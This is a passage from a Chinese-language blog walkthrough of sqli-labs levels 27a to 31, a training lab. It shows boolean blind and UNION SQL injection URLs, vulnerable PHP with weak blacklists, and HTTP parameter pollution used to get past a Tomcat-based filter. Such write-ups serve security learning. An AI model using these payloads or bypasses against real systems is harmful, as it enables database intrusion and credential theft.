? 在 . + 和 * 之后 表示非贪婪匹配: *、+和?限定符都是贪婪的，因为它们会尽可能多的匹配文字，只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。</code></pre>我们之前的sql命令完全避开了他的过滤，完成了注入。<h3>Less-27a</h3>经过我们的测试，我们发现是双引号的盲注 布尔测试： <img src="https://www.helloimg.com/images/2020/08/25/2319310df875fca880.png" alt="" title="" style=""> <img src="https://www.helloimg.com/images/2020/08/25/246a3a5cf8a255f81a.png" alt="" title="" style=""> 我们尝试注出数据库： 我们判断出了数据库是security <img src="https://www.helloimg.com/images/2020/08/25/258a46391078b71456.png" alt="" title="" style=""> 既然可以那我们继续尝试判断表名：<pre><code class="lang-sql">http://192.168.252.162/sqli-labs/Less-27a/
?id=1&quot;%26%26(if(ascii(substr((sElEct(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1))=101,1,0))%26%26&quot;1</code></pre><img src="https://www.helloimg.com/images/2020/08/25/263c678af9da46ade3.png" alt="" title="" style=""> 后续的操作大家都懂的<h3>Less-28</h3>我们首先测试单引号的时候会出现错误，紧接着我们发现存在布尔注入。<pre><code class="lang-sql">http://192.168.252.162/sqli-labs/Less-28/
?id=1'%26%26(if(1=1,1,0))%26%26'1</code></pre><img src="https://www.helloimg.com/images/2020/08/25/27bd0cda4fc57edcc0.png" alt="" title="" style=""><pre><code class="lang-sql">http://192.168.252.162/sqli-labs/Less-28/
?id=1'%26%26(if(ascii(substr((sElEct(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1))=101,1,0))%26%26'1</code></pre><img src="https://www.helloimg.com/images/2020/08/25/289802271dce681f74.png" alt="" title="" style=""> 我们用上一关的思路就过了，不过我们还是要看一下源码来深入了解一下：<pre><code class="lang-php">if(isset($_GET['id']))
{
 $id=$_GET['id'];
 $id= blacklist($id);
 $hint=$id;
// connectivity 
 $sql=&quot;SELECT * FROM users WHERE id=('$id') LIMIT 0,1&quot;;
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);
 if($row)
 {
 echo 'Your Login name:'. $row['username'];
 echo 'Your Password:' .$row['password'];
 }
 else 
 {
 //print_r(mysql_error());
 }
}
 else { echo &quot;Please input the ID as parameter with numeric value&quot;;}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',&quot;&quot;, $id); //strip out /*
$id= preg_replace('/[--]/',&quot;&quot;, $id); //Strip out --.
$id= preg_replace('/[#]/',&quot;&quot;, $id); //Strip out #.
$id= preg_replace('/[ +]/',&quot;&quot;, $id); //Strip out spaces.
//$id= preg_replace('/select/m',&quot;&quot;, $id); //Strip out spaces.
$id= preg_replace('/[ +]/',&quot;&quot;, $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',&quot;&quot;, $id); //Strip out UNION &amp; SELECT.
return $id;
}</code></pre>这里的过滤思路是将union中间又1到多个空格然后跟着select过滤掉，但是没有过滤单个的union和select，所以我们可以使用select。<h3>Less-28a</h3>还是之前的方法，我们还是判断出又布尔注入 <img src="https://www.helloimg.com/images/2020/08/25/29e9c6e0444144d93a.png" alt="" title="" style=""> 我们还是看看源码，和之前的有什么区别：<pre><code class="lang-php">if(isset($_GET['id']))
{
 $id=$_GET['id'];
 $id= blacklist($id);
 $hint=$id;
 $sql=&quot;SELECT * FROM users WHERE id=('$id') LIMIT 0,1&quot;;
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);
 if($row)
 {
 echo 'Your Login name:'. $row['username'];
 echo 'Your Password:' .$row['password'];
 }
 else 
 {
 //print_r(mysql_error());
 }
}
 else { echo &quot;Please input the ID as parameter with numeric value&quot;;}
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',&quot;&quot;, $id); //strip out /*
//$id= preg_replace('/[--]/',&quot;&quot;, $id); //Strip out --.
//$id= preg_replace('/[#]/',&quot;&quot;, $id); //Strip out #.
//$id= preg_replace('/[ +]/',&quot;&quot;, $id); //Strip out spaces.
//$id= preg_replace('/select/m',&quot;&quot;, $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',&quot;&quot;, $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',&quot;&quot;, $id); //Strip out spaces.
return $id;
}</code></pre>我们看到这里的过滤少了许多所以我们可以使用之前的方式进行注入。 服务器（两层）构架 首先介绍一下29,30,31这三关的基本情况 <img src="https://www.helloimg.com/images/2020/08/25/3090ee28a8680c710e.png" alt="" title="" style=""> 服务端有两个部分：第一部分为tomcat为引擎的jsp型服务器，第二部分为apache为引擎的php服务器，真正提供web服务的是php服务器。工作流程为：client访问服务器，可以直接访问到tomcat服务器，然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。 此处我们再介绍一下我们本次实验的环境，使用的是apache+php+mysql+tomcat。 这里还有需要我们理解的地方，那就是当我们传递多个同名参数，会造成什么情况。 例如：<code>index.php?id=1&amp;id=2</code> <img src="https://www.helloimg.com/images/2020/08/25/3199536895b0fae6dd.png" alt="" title="" style=""> 上面图片介绍了大部分服务器对参数接受的情况，我们接下来要测试的是apache+tomcat，我们的参数首先发送给tomcat，经过处理之后发送给apache，通过上图我们可以看到apache接收最后一个参数，tomcat接收第一个参数，这样就会产生一个问题，就是到底接收的是哪个参数，经过我们的分析，接收的应该是上述例子中的第二个参数id=2，因为实际上提供服务的是apache服务器，返回的数据也是经过apache处理的数据。我们使用的应用场景中，也是有两层服务器的情况，这是因为我们在tomcat服务器中做数据处理和过滤，其实现的功能就类似于一个waf，正是因为参数的不同，我们此处可以利用该原理绕过waf的检测，该用发就是HPP（HTTP Parameter Pollution），http参数污染攻击的一个应用。HPP可以对服务器和客户端造成一定的威胁。<h3>Less-29</h3>本关卡中就是使用了tomcat+apache两层的结构，我们首先看一下index.jsp中的源码：<pre><code class="lang-java">&lt;%
 String id = request.getParameter(&quot;id&quot;);
 String qs = request.getQueryString();

if(id!=null)
 {
 if(id!=&quot;&quot;)
 {
 try
 {
 String rex = &quot;^\\d+$&quot;;
 Boolean match=id.matches(rex);
 if(match == true)
 {
 URL sqli_labs = new URL(&quot;http://127.0.0.1/sqli-labs-php7/Less-29//Less-29/index.php?&quot;+ qs);
 URLConnection sqli_labs_connection = sqli_labs.openConnection();
 BufferedReader in = new BufferedReader(
 new InputStreamReader(
 sqli_labs_connection.getInputStream()));
 String inputLine;
 while ((inputLine = in.readLine()) != null) 
 out.print(inputLine);
 in.close();
 }
 else
 {
 response.sendRedirect(&quot;hacked.jsp&quot;);
 }
 } 
 catch (Exception ex)
 {
 out.print(&quot;&lt;font color= '#FFFF00'&gt;&quot;);
 out.println(ex);
 out.print(&quot;&lt;/font&gt;&quot;); 
 }
 finally
 {}
 }
 }
 else
 {
 URL sqli_labs = new URL(&quot;http://127.0.0.1/sqli-labs-php7/Less-29/index.php&quot;);
 URLConnection sqli_labs_connection = sqli_labs.openConnection();
 BufferedReader in = new BufferedReader(
 new InputStreamReader(
 sqli_labs_connection.getInputStream()));
 String inputLine;
 while ((inputLine = in.readLine()) != null) 
 out.print(inputLine);
 in.close();
 }
%&gt;</code></pre>我们可以看到他使用了<code>String id = request.getParameter(&quot;id&quot;);String qs = request.getQueryString();</code>来接收参数，其中getParameter是接收了第一个id的值，getQueryString接收了所有的查询，就是<code>id=1&amp;id=2</code>，然后再接下来的代码中对id进行了处理，使用正则匹配，只获取数字部分（^\\d+$，其中^表示开头，\d是数字，+是匹配前面类型的字符一个到多个，$是以前面类型的字符结尾）。 还有就是request.getQueryString()只能得到get传输的参数，POST传输的参数他得不到。 分析过后我们来进行测试，首先我们输入<code>id=1&amp;id=2</code>，我们可以看到返回了查询的内容，其中id=1&id=2是jsp中获取的qs内容，第二行是php中sql查询的语句。 <img src="https://www.helloimg.com/images/2020/08/25/32ff6bd96a0c793d31.png" alt="" title="" style=""> 我们看到查询语句之后，我们可以直接尝试在id=2这个参数进行注入，首先我们再id=2后面添加了'，发现可以报错，我们就接着尝试注出数据库，测试发现--+可以继续用来注释。<pre><code class="lang-sql">http://192.168.252.135:8080/sqli-labs/Less-29/index.jsp
?id=1&amp;id=-2' union select 1,(select database()),3--+</code></pre><img src="https://www.helloimg.com/images/2020/08/25/3388f8eabb5e920ed6.png" alt="" title="" style=""> 之后的操作就没什么难度了，不过我们还可以看看php中的代码：<pre><code class="lang-php">if(isset($_GET['id']))
{
 $id=$_GET['id'];
 //logging the connection parameters to a file for analysis.
 $qs = $_SERVER['QUERY_STRING'];
 echo $qs;
 $hint=$qs;
// connectivity 
 $sql=&quot;SELECT * FROM users WHERE id='$id' LIMIT 0,1&quot;;
 $result=mysqli_query($con1, $sql);
 $row = mysqli_fetch_array($result, MYSQLI_BOTH);
 if($row)
 {
 echo 'Your Login name:'. $row['username'];
 echo 'Your Password:' .$row['password'];
 }
 else 
 {
 print_r(mysqli_error($con1));
 }
}
 else { echo &quot;Please input the ID as parameter with numeric value&quot;;}
?&gt;</code></pre>我们看到在 php代码中已经没有过滤了，所以我们直接在第二参数的位置就能完成注入。<h3>Less-30</h3>我们在第二参数中判断出是双引号注入，接着我们尝试注出数据库：<pre><code class="lang-sql">http://192.168.252.135:8080/sqli-labs/Less-30/index.jsp
?id=1&amp;id=-2&quot; union select 1,(select database()),3--+</code></pre><img src="https://www.helloimg.com/images/2020/08/25/34b2b0b2797eb32aca.png" alt="" title="" style=""> 后续的就是常规操作了。<h3>Less-31</h3>这一关与上一关相比多了一个括号，我们还是直接绕过即可。<pre><code class="lang-sql">http://192.168.252.135:8080/sqli-labs/Less-31/
?id=1&amp;id=-2&quot;) union select 1,(select database()),3--+</code></pre><img src="https://www.helloimg.com/images/2020/08/25/358393f7cbffd6f884.png" alt="" title="" style=""> 这里我们仅仅介绍了参数污染绕过waf的一个应用场景，其实他的作用还有很多，以后我们继续研究。

Less-24

Less-25

Less-25a

Less-26

Less-27

Less-27a

Less-28

Less-28a

Less-29

Less-30

Less-31

发表评论 取消回复 使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

sql-lab二次注入以及绕过(24-31)

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款